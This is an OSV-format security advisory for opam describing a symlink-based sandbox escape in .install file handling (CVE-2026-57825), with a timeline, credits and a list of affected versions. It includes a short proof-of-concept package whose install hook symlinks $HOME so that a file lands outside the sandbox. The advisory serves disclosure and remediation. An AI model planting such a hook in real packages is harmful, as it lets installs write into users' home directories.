{"id":"OSEC-2026-10","summary":"opam install sandbox escape using symlinks","details":"## Summary\n\nInstalling files through `.install` files do not check symlinks resolution of the target path, and so can bypass sandboxing.\n\n## Exploit\n\nLet's imagine a `test` package whose `test.install` file looks like the following:\n```\nshare_root: [\n  \"test\" {\"blah/pwnd\"}\n]\n```\nand `test.opam` file:\n```\nopam-version: \"2.0\"\ninstall: [\"sh\" \"-c\" \"ln -s \\\"$HOME\\\" \\\"%{share}%/blah\\\"\"]\n```\n\nInstalling this package will write the `pwnd` file in the home directory of the current user, bypassing sandboxing.\n\n## Timeline\n\n- 2026-05-15: Kate reported the issue to the rest of the opam team and the OCaml Security team\n- 2026-06-22: Nathan wrote a fix which was then reviewed by Raja and refined over the next 2 weeks\n- 2026-07-08: opam 2.5.2 was released with the fix","aliases":["CVE-2026-57825"],"modified":"2026-07-09T13:00:03.728089492Z","published":"2026-07-07T12:00:00Z","database_specific":{"cwe":["CWE-693"],"osv":"https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-10.json","human_link":"https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-10.md"},"references":[{"type":"FIX","url":"https://github.com/ocaml/opam/pull/7005"},{"type":"FIX","url":"https://github.com/ocaml/opam/pull/7006"}],"affected":[{"package":{"name":"opam-devel","ecosystem":"opam","purl":"pkg:opam/opam-devel"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.2"}]},{"type":"GIT","repo":"https://github.com/ocaml/opam","events":[{"introduced":"0"},{"fixed":"09c3df1ffb33cc0a09b3a81f36bb74898dce2120"}]},{"type":"GIT","repo":"https://github.com/ocaml/opam","events":[{"introduced":"0"},{"fixed":"248f8400e5ecb6ecbd7a672448477d08cedfdc24"}]}],"versions":["2.0~alpha5","2.0.0~beta","2.0.0~beta3","2.0.0~beta3.1","2.0.0~beta5","2.0.0~rc","2.0.0~rc2","2.0.0~rc3","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.10","2.1.0~beta2","2.1.0~beta4","2.1.0~rc","2.1.0~rc2","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.2.0~alpha","2.2.0~alpha2","2.2.0~alpha3","2.2.0~beta1","2.2.0~beta2","2.2.0~beta3","2.2.0~rc1","2.2.0","2.2.1","2.3.0~alpha1","2.3.0~beta1","2.3.0~beta2","2.3.0~rc1","2.3.0","2.4.0~alpha1","2.4.0~alpha2","2.4.0~beta1","2.4.0~rc1","2.4.0","2.4.1","2.5.0~alpha1","2.5.0~beta1","2.5.0~rc1","2.5.0","2.5.1","2.5.0-alpha1","2.4.0-rc1","2.4.0-alpha2","2.4.0-beta1","2.4.0-alpha1","2.3.0-alpha1","2.2.0-rc1","2.2.0-beta3","2.2.0-beta2","2.2.0-beta1","2.2.0-alpha3","2.2.0-alpha2","2.2.0-alpha","2.1.0-rc","2.1.0-beta4","2.1.0-beta","2.1.0-alpha3","2.1.0-alpha2","2.1.0-alpha","2.0.0-rc4","2.0.0-rc3","2.0.0-rc","2.0.0-beta6","2.0.0-beta5","2.0.0-beta4","2.0.0-beta3.1","latest-test","2.0.0-beta3","2.0.0-beta2","2.0.0-beta","2.0-alpha5","2.0-alpha4","2.0-alpha","1.2.1-rc2","1.2.1","1.2.1-rc","1.2.1-beta3","1.2.1-beta2","1.2.1-beta","1.2.0-rc4","1.2.0","1.2.0-rc3","1.2.0-rc2","1.2.0-rc1","1.2.0-beta4","1.2.0-beta3","1.2.0-beta2","1.2.0-beta","1.1.0-RC","1.1.0-beta","1.0.0","0.9.6","0.9.5","0.9.4","0.9.3","0.9.2","0.9.1","0.9.0","0.8.1","0.8.0","0.7.7","0.7.6","0.7.5","0.7.4","0.7.3","0.7.2","0.6.0","0.5.0","0.4.0","0.3.1","0.3","0.2","2.5.0-rc1","2.5.0-beta1"],"ecosystem_specific":{"opam_constraint":"opam-devel {\u003c \"2.5.2\"}"},"database_specific":{"source":"https://github.com/ocaml/security-advisories/blob/generated-osv/2026/OSEC-2026-10.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N"}],"credits":[{"name":"Kate Deplaix","type":"REPORTER"},{"name":"Nathan Rebours","type":"REMEDIATION_DEVELOPER"},{"name":"Raja Boujbel","type":"REMEDIATION_REVIEWER"},{"name":"Hannes Mehnert","type":"COORDINATOR"}]}